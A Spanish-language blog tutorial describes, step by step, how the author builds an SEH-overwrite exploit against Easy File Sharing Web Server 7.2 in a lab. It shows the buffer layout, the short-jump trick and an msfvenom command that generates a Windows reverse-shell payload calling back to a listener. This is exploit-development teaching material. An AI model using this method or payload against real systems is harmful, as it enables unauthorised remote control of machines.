Blog con notas, publicaciones sobre exploits, uso de herramientas, búsqueda de vulnerabilidades y más. @Yonatan_correa
10 mayo 2018
Exploit SEH
structured exception handler (SEH) o traducido "manejador de excepción estructurado"
Hoy vamos a crear un exploit en seh, y para eso vamos a explotar el Easy File Sharing Web Server 7.2 el cual se puede descargar desde su página oficial
La instalación es como se realiza en windows, siguiente siguiente, usamos la misma máquina que venimos usando desde los post anteriores.
Bueno después de instalado sale esta ventana y elegimos "Try it"
Ahora el programa quedaría así, pero con la dirección ip local de tu máquina
Abrimos nuestro immunity debugger y el proceso seria ese
Este es nuestro Script base
Al ejecutarlo contra la máquina víctima
Recordamos que después de lanzar el ataque, el EIP no se vera comprometido directamente, abría que presionar shift + F9 para que pase a la excepción
También para nosotros ver el fallo en el seh con immunity, podemos hacerlo con teclado rápido en alt + s y de forma manual View -> SEH chain
Ya que sabemos que es vulnerable, creamos el patrón con mona
Vemos que hizo crash nuevamente (alt + s)
Ahora usamos el comando findmsp de mona y nos centramos solo en la parte que nos interesa
Ahora con el comando !mona seh -n sacamos los posibles saltos y que no contengan nulos
Modificamos el exploit y elegimos la primera dirección de memoria
Me imagino que hasta aquí hay un poco de enredo porque la estructura de el exploit es muy diferente a la de los demás
Bueno, lo que pasa es, que en el caso del seh, hay que hacer algunos saltos y la estructura es al revés, si se percataron, después de shift + F9 paso la excepción y el 41414141 se presento en el EIP, pondré un ejemplo que lo explique abajo
buffer = "A" * 4061 + nSEH + SEH + "D" * 935
Mientras sigamos construyendo el exploit lo iremos entendiendo mejor
Lanzamos el exploit y cuando vemos el resultado ponemos un breakpoint con F2
Al darle doble click nos dirige a la dirección ip el cual apunta a un pop esi
Entonces ahora le damos a shift + F9 y después a F7 (vamos presionado F7 para seguir paso por paso) y vemos como se va desempeñando el flujo hasta llegar a una barrera
Entonces lo que vamos a hacer, es realizar un salto a la dirección de memoria que sigue con nuestro código, entonces modificamos solo una parte del código
Recordamos que para arquitectura x86, el opcodo EB es usado para los saltos
Entonces repetimos el mismo pasa que realizamos más arriba, pero ahora tenemos un resultado diferente, hizo el salto :)
Ahora ya estamos casi listos
Ahora vamos a general nuestro shellcode, pero en este caso lleva uno parámetros diferentes a los que ya hemos generados en post anteriores
Para esto vamos a necesitar el encoder alfanumérico x86/alpha_mixed de metasploit y escogemos la opción seh como función de salida EXITFUNC=seh
Entonces para generar nuestro shellcode usando metasploit.
Usamos el comando msfvenom y con las siguientes opciones
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -e x86/alpha_mixed LHOST=192.168.0.18 LPORT=475 EXITFUNC=seh -f c
Agregamos nuestro shellcode al código y loejecutamos
Y como resultado seria
Genial ya tenemos control de la máquina 😃
Recordamos que el códigos quedan en el Github oficial
Suscribirse a:
Comentarios de la entrada (Atom)
No hay comentarios.:
Publicar un comentario